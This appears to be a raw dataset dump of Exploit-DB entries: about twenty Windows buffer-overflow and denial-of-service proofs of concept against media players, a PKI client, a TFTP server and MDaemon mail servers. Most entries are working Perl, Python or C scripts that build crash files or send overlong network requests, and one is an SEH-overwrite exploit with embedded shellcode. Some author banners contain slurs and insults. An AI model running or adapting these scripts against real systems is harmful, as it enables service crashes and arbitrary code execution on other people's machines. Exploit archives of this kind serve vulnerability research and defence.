deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11628
Description: AKoff MIDI Player 1.00 - Buffer Overflow
Type: dos
Platform: windows
Date: 2010-03-04
Author: cr4wl3r

Exploit:
#!/usr/bin/perl

# AKoff MIDI Player 1.00 Buffer Overflow Exploit
# By cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# gr33tz: str0ke, opt!x hacker, xoron, EA ngel, zvtral, Hmei7, mywisdom, cyberlog, irvian, and all my friend
# thanks: milw0rm, darkc0de, exploit-db, inj3ct0r, manadocoding, sekuritionline
# Fuck to buat loe tukang show off, dan buat loe yang mengaku dirinya hacker dan pamer sana-sini
# mengatakan orang lain lamer karena suka deface sedangkan dirinya adalah tukang deface
# you are 1337 lamer 1337 hoax and 1337 gay
# i'm injector and rooter in the site and i'm be silent

#`````````` ___ ____ ____
#````______/```\__//```\__/____\
#``_/```\_/``:```````````//____\
#`/|``````:``:``..``````/````````\    W A R N I N G !!! REMEMBER ME
#|`|`````::`````::``````\````````/
#|`|`````:|`````||`````\`\______/
#|`|`````||`````||``````|\``/``|
#`\|`````||`````||``````|```/`|`\
#``|`````||`````||``````|``/`/_\`\
#``|`___`||`___`||``````|`/``/````\
#```\_-_/``\_-_/`|`____`|/__/``````\
#````````````````_\_--_/````\`````/
#```````````````/____```````````/
#``````````````/`````\`````````/
#``````````````\______\_______/


$buff = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
###################################################################
open(file, "> sploit.mid");
print (file $buff);
###################################################################
Exploit-DB #23780
Description: Aktiv Player 2.80 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-12-31
Author: IndonesiaGokilTeam

Exploit:
# !/usr/bin/python
# Exploit Title: aktiv-player version 2.80
# Exploit Author: IndonesiaGokilTeam
# Vendor Homepage: http://www.goforsharing.com/home-mainmenu-1/aktiv-player-mainmenu-131.html
# Tested on: Windows XP SP 3

sampah= "\x42" * 200
file = open("GOKIL.wma","w")
file.write(sampah)
file.close()

#salam BLANK SEPARATOS
#thanks to everyone :D
#magelangan cyber ,pohon jati crew, jagad kali kode , bisul heker,
Exploit-DB #24812
Description: aktiv-player 2.9.0 - Crash (PoC)
Type: dos
Platform: windows
Date: 2013-03-15
Author: metacom

Exploit:
# !/usr/bin/python
# Exploit Title: aktiv-player version 2.9.0 Crash PoC
# Exploit Author: metacom
# RST 
# Vendor Homepage: http://www.goforsharing.com/home-mainmenu-1/aktiv-player-mainmenu-131.html
# Tested on: Windows 7 German

filename = "poc.wma"

buffer = "\x41" * 3000
exploit = buffer 
 
textfile = open(filename , 'w')
textfile.write(exploit)
textfile.close()
Exploit-DB #12161
Description: Aladdin eToken PKI Client 4.5 - Virtual File Handling Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2010-04-11
Author: LiquidWorm

Exploit:
#!/usr/bin/perl -w
#
# Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC
#
#
#
# Summary: The eToken PKI Client is the software that enables eToken USB operation and the
# implementation of eToken PKI-based solutions. These solutions include certificate-based
# strong two-factor authentication, encryption and digital signing. With the PKI Client your
# PKI solutions become highly secure, extremely convenient and portable, as you can easily and
# securely generate and store PKI keys on-board eToken smart card-based devices.
#
# Vendor: Aladdin Knowledge Systems Ltd.
# Product web page: http://www.aladdin.com
#
# Version tested: 4.5.52
# Tested on Microsoft Windows XP Professional SP3 (EN)
#
#
#
# ===================================================================================
#
# (154c.a74): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90
# eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
# *** ERROR: Module load completed but symbols could not be loaded for etProps.exe
# etProps+0x5d3d3:
# 0045d3d3 8b8ea4000000    mov     ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????
#
# ===================================================================================
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
#
# liquidworm gmail com
#
# 11.04.2010
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php
#


$fajl = "Aladdin.etv"; # eToken Virtual file

$djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

open etv, ">./$fajl" || die "\nCan't open $fajl: $!";
print etv $djubre x 100;
print "\n [o] Writing to file...\n";
sleep 1;
close etv;
print "\n [o] File $fajl created.\n";
Exploit-DB #11955
Description: All to All Audio Convertor 2.0 - Files Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-03-30
Author: ITSecTeam

Exploit:
#!/usr/bin/python
#
# All to All Audio Convertor files stack overflow poc
# #############################################################################
# Credit : ItSecTeam
# mail : Bug@ItSecTeam.com
# Web:  WwW.ITSecTeam.com
# Forum: WwW.forum.itsecteam.com
# Special Tanks : PLATEN - M3hr@n.S - B3hz4d - Cdef3nder 
# #############################################################################
# EAX 10624DD3 ECX 00000000 EDX 012200C0 EBX 100018A0 ESP 0012E59C EBP 0012EA14
# ESI 0012E5CC EDI 10001010 EIP 100018DA

try:
	file=open("poc.ogg",'w')
	Buff = "\x41" *500 # .WMA ...
	file.write( Buff )
	file.close()
	print   ("[+] File created successfully: poc.ico" )
except:
	print "[-] Error cant write file to system\n""""
Exploit-DB #21789
Description: Alleged Outlook Express 5/6 Link - Denial of Service
Type: dos
Platform: windows
Date: 2002-09-09
Author: Stefano Zanero

Exploit:
source: https://www.securityfocus.com/bid/5682/info

Reportedly, when decoding a HTML email, Outlook Express will stop responding upon encountering a <A HREF> link longer than 4095 characters. It is not confirmed why this behaviour occurs.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21789.zip
Exploit-DB #24952
Description: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 2.0 - Stack Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2013-04-12
Author: xis_one

Exploit:
# Exploit Title: AT-TFTP 2.0 long filename stack based buffer overflow - DOS 
# Date: 12.04.2013
# Exploit Author: xis_one@STM Solutions 
# Vendor Homepage:  http://www.alliedtelesis.com/
# Software Link: http://alliedtelesis.custhelp.com/cgi-bin/alliedtelesis.cfg/php/enduser/std_adp.php?p_faqid=1081&p_created=981539150&p_topview=1 
# Version: 2.0 
# Tested on: Windows XP SP3
#
# From 1.9 Remote Exec BOF disovered in 2006 by liuqx@nipc.org.cn  to 2.0 Remote DOS BOF 2013 - no lesson learned.
# Two variants:
#
# 1. SEH overwrite but no exception handler trigger (cookie on stack?)
# 2. Read access violation (non-exploitable?)
#
# Still we can crash the server remotely.  
#
#!/usr/bin/python
import socket
import sys
host = '192.168.1.32'
port = 69

nseh="\xCC\xCC\xCC\xCC"

#seh handler overwritten at 261 byte of shellcode but to exception triggered to use it.
 
seh="\x18\x0B\x27" # Breakpoint in no SafeSEH space in Windows XP SP3


payload="\xCC"*257 + nseh + seh + "\x00" + "3137" + "\x00"

#payload to get access violation:
#payload=("\x00\x01\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x25"
#"\x35\x63\x2e\x2e\x25\x32\x35\x25\x35\x63\x2e\x2e\x25\x32\x35\x35"
#"\x63\x65\x74\x63\x25\x32\x35\x35\x63\x68\x6f\x73\x74\x73\x00\x6e"
#"\x00")

buffer="\x00\x01"+  payload + "\x06" + "netascii" + "\x00"


s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(buffer, (host, port))
Exploit-DB #43406
Description: ALLMediaServer 0.95 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-12-27
Author: Aloyce J. Makalanga

Exploit:
# Exploit Title: Buffer  overflow in ALLPlayer ALLMediaServer 0.95 and earlier
# CVE: CVE-2017-17932
# Date: 27-12-2017 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service 



 
#1. Description
#
#A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
#
#   
#2. Proof of Concept
#
 

#!/usr/bin/python

#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work. 

def main():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   s.connect(('192.168.205.131', 888))

   buffer = "A" * 3000


   s.send(buffer)

   s.close()


if __name__ == '__main__':
   import socket

   main()
Exploit-DB #44273
Description: Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow
Type: dos
Platform: windows
Date: 2018-03-12
Author: Mohan Ravichandran

Exploit:
###############################################################################
# Exploit Title:        Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)
# Date:                 06-03-2018
# Exploit Author:       Mohan Ravichandran & Velayutham Selvaraj
# Organization :        TwinTech Solutions
# Vulnerable Software:  Allok Video Converter
# Vendor Homepage:      http://www.alloksoft.com
# Version:              4.6.1217
# Software Link:        http://www.alloksoft.com/allok_vconverter.exe
# Tested On:            Windows XP Service Pack 3 (Version 2002)
#
# Credit to Velayutham Selvaraj for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2018-03-06
#
# Manual steps to reproduce the vulnerability ... 
#1.  Download and install the "setup(allok_vconverter.exe)" file
#2.  Run this exploit code via python 2.7
#3.  A file "exploit.txt" will be created
#4.  Copy the contents of the file and paste in the License Name field 
#    Name > exploit.txt
#5.  Type some random character in License Code
#6.  Click Register and voila !
#7.  Boom calculator opens
#
##############################################################################
import struct

file = open("exploit.txt","wb")
buflen = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh  = struct.pack("<L",0x10019A09)
nops = "\x90" * 20
# The below shellcode will open calculator, but can be modified by need.
shellcode = ""
shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
shellcode +="\xc4\xd9"
exploit = junk + nseh + seh + nops + shellcode
fillers = buflen - len(exploit)
buf = exploit + "D" * fillers
file.write(buf)
file.close()
Exploit-DB #44605
Description: Allok Video Splitter 3.1.12.17 - Denial of Service
Type: dos
Platform: windows
Date: 2018-05-09
Author: Achilles

Exploit:
###########################################################################################
# Exploit Title: Allok Video Splitter 3.1.1217
# Date: 2018-05-09
# Exploit Author: Achilles
# Vendor Homepage: http://www.alloksoft.com/
# Vulnerable Software: http://www.alloksoft.com/allok_vsplitter.exe
# Tested on OS: Windows 7 64-bit DE
# Steps to reproduce: Copy the contents of the file (Evil.txt)
# and paste in the License Name field click Register and BOOM
###########################################################################################

#!/usr/bin/python
  
buffer = "A" * 780
  
try:
    f=open("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #28855
Description: ALLPlayer 5.6.2 - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2013-10-10
Author: metacom

Exploit:
Title: ALLPlayer Local Buffer Overflow PoC UNICODE 
Vendor: http://www.allplayer.org/download/allplayer
Date found:     09.10.2013
Date published: 09.10.2013
Platform: windows 7 German
Bug: Buffer Overflow UNICODE
----------------------------
 
1)VERSIONS AFFECTED
----
ALLPlayer 5.6.2

2)Proof of Concept
------------------
 
junk = "http://"

buffer="\x41" * 5000

exploit = junk + buffer 

try:
    out_file = open("ALLPlayer_Poc.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!" 
except:
    print "Error"

3)-(DEBUG)
----------
(1e60.1dec): Access violation - code c0000005 (!!! second chance !!!)
*** WARNING: Unable to verify checksum for C:\Program Files\ALLPlayer\ALLPlayer.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\ALLPlayer\ALLPlayer.exe
eax=00000000 ebx=00000000 ecx=00410041 edx=770d720d esi=00000000 edi=00000000
eip=00410041 esp=000311c4 ebp=000311e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
ALLPlayer+0x10041:
00410041 008bc0ff2504    add     byte ptr [ebx+425FFC0h],cl ds:0023:0425ffc0=??
0:000> !exchain
---------------
0012e4b0: ALLPlayer+1b7037 (005b7037)
0012e734: ALLPlayer+10041 (00410041)
Invalid exception stack at 00410041

4)Credits
---------
metacom
Contact : metacom27 at gmail.com
Exploit-DB #43197
Description: ALLPlayer 7.5 - Denial of-Service (PoC)
Type: dos
Platform: windows
Date: 2017-11-27
Author: Kiefer Bauer

Exploit:
#!/usr/bin/python

buffer  = b"http://"
buffer += b"\x41" * 1500

f=open("player.m3u","wb")
f.write(buffer)
f.close()
Exploit-DB #34855
Description: ALPHA Player 2.4 - '.bmp' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-10-19
Author: anT!-Tr0J4n

Exploit:
source: https://www.securityfocus.com/bid/44196/info

ALPHA Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

ALPHA Player 2.4 is vulnerable; other versions may also be affected. 

===================================================
ALPHA 2 Player Local Crash PoC
===================================================
#Title: ALPHA 2 Player(.bmp) Local Crash PoC
#Author    :   anT!-Tr0J4n
#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~all DEV-PoinT t34m
#thanks    :   r0073r ; Sid3^effects ; L0rd CrusAd3r ; all Inj3ct0r 31337 Member
#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com
#Tested on:   Windows XP sp3
# http://alpha2player.com/
==================================================
 
#!/usr/bin/perl
print "| ALPHA.bmp Local Crash |\n";
print "| Author: anT!-Tr0J4n      |\n";
print "| Greetz :http://inj3ct0r.com     |\n";
print "| www.Dev-PoinT.com  |\n";
 
 
my $junk= "\x41" x 240 ;
open(file,">crash.bmp");
print file $junk ;
close(file);
Exploit-DB #27914
Description: Alt-N MDaemon 2-8 - IMAP Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2006-05-29
Author: kcope

Exploit:
source: https://www.securityfocus.com/bid/18129/info

Alt-N MDaemon IMAP Server is susceptible to a remote buffer-overflow vulnerability. This issue is due to the application's failure to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue allows remote, unauthenticated attackers to execute arbitrary machine code in the context of affected servers. This facilitates the complete compromise of affected computers.

Specific information regarding affected versions is not currently available. This BID will be updated as further information is disclosed.

UPDATE: The reporter of this issue states that this issue may not be exploitable. This BID may be retired in the future.

$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A
 
$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x (0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x (0x184AC - 0x200A - 12));
print $sock "a001 \"$a\r\n";
close($sock);
Exploit-DB #20020
Description: Alt-N MDaemon 2.8.5 - UIDL Denial of Service
Type: dos
Platform: windows
Date: 2000-06-16
Author: Craig

Exploit:
source: https://www.securityfocus.com/bid/1366/info

A remote user is capable of crashing Alt-N MDaemon 2.8.5.0 by executing the pass command, then the UIDL command and quitting the mail server before the UIDL has returned a response. This must be done before the user is presented with the POP3 login banner. Restarting the application is required in order to regain normal functionality. 

Perform the following very quickly:

+OK <target> POP service ready using MDaemon
v2.8.5.0 T

User <username>
+OK <username>... Recipient ok
pass <password>
-ERR that command is valid only in the AUTHORIZATION state!
uidl
-ERR unknown POP command!
quit
+OK
.
quit
+OK <username> <target> POP Server signing off (mailbox empty)
Exploit-DB #19639
Description: Alt-N MDaemon 2.8.5 - WebConfig Overflow Denial of Service
Type: dos
Platform: windows
Date: 1999-11-24
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/820/info

The Mdaemon mail server for Windows includes a small web server for web-based remote administration. This webserver is vulnerable due to an unchecked buffer that handles incoming GET requests. An abnormally large URL sent to the WebConfig service at port 2002 will crash the service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19639-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19639-2.exe
Exploit-DB #20696
Description: Alt-N MDaemon 3.5.6/5.0.7/6.x - IMAP Denial of Service
Type: dos
Platform: windows
Date: 2001-03-23
Author: nitr0s

Exploit:
source: https://www.securityfocus.com/bid/2508/info

A successfully logged-in user, via IMAP, could cause MDaemon to terminate the connection. If the user submits either a 'SELECT' or 'EXAMINE' command appended with 250 or more characters, MDaemon will refuse any new connections to the IMAP service. A restart of the service is required in order to gain normal functionality. 

* OK company.mail IMAP4rev1 MDaemon 3.5.6 ready

1 LOGIN JOE PASSWORD
* OK LOGIN completed
1 SELECT AAAAAAA....
Exploit-DB #21965
Description: Alt-N MDaemon 6.0.x - POP Server Buffer Overflow
Type: dos
Platform: windows
Date: 2002-10-28
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/6053/info

A buffer overflow vulnerability has been reported for MDaemon. The vulnerability is due to inadequate bounds checking on some POP server commands.

An attacker can exploit this vulnerability by submitting a very large integer value to some commands on the POP server. This will cause the MDaemon service to crash when attempting to process the command. 

+OK somedomain.com POP MDaemon 6.0.5 ready
<MDAEMON-F[PII_REDACTED]51.AA5138234MD2795@somedomain.com>
USER blah
+OK blah... Recipient ok
PASS 123456
+OK blah@somedomain.com's mailbox has 0 total messages (0 octets).
UIDL[PII_REDACTED]
-ERR no such message
UIDL[PII_REDACTED]
+OK [PII_REDACTED] !!! Index 0 is not used
UIDL[PII_REDACTED]

Connection to host lost.

---

user dark
+OK dark... Recipient ok
pass ******
+OK dark@dark's mailbox has 13 total messages (2274775 octets).
dele -1

Connection to host lost.
Exploit-DB #23501
Description: Alt-N MDaemon 6.x/WorldClient - Form2Raw Raw Message Handler Buffer Overflow (1)
Type: dos
Platform: windows
Date: 2003-12-29
Author: Behrang Fouladi

Exploit:
// source: https://www.securityfocus.com/bid/9317/info

It has been reported that MDaemon/WorldClient mail server may be prone to a buffer overflow vulnerability when handling certain messages with a 'From' field of over 249 bytes. This issue may allow a remote attacker to gain unauthorized access to a system.

Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the vulnerable software in order to gain unauthorized access.

#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32")
#define RET 0x1dff160
#define PORT 3000
void main(int argc, char **argv)
{
     SOCKET s = 0;
     WSADATA wsaData;

    if(argc < 2)
     {
          fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " \
"\nUsage: %s <target ip> \n", argv[0]);

                  printf("%d",argc);
                       exit(0);
    }

     WSAStartup(MAKEWORD(2,0), &wsaData);

     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

     if(INVALID_SOCKET != s)
     {
          SOCKADDR_IN anAddr;
          anAddr.sin_family = AF_INET;
          anAddr.sin_port = htons(PORT);
          anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

          if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))
          {
               static char buffer[500];
                           int i;
                           memset(buffer,0,sizeof(buffer));
                           strcpy(buffer,"get /form2raw.cgi?From=");
                           for(i=0;i<244;i++) {

                                   strcat(buffer,"a");
                           }

                           strcat(buffer,"bbbb"); //Overwrites EIP
                           strcat(buffer,"c");  //One byte left after ESP :-(
                           strcat(buffer,"&To=me@hell.org&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");

                           send(s, buffer, strlen(buffer), 0);
                           printf("Exploit Sent.");

          }

                  else printf("Error Connecting to The Target.\n");
          closesocket(s);
     }

        WSACleanup();
}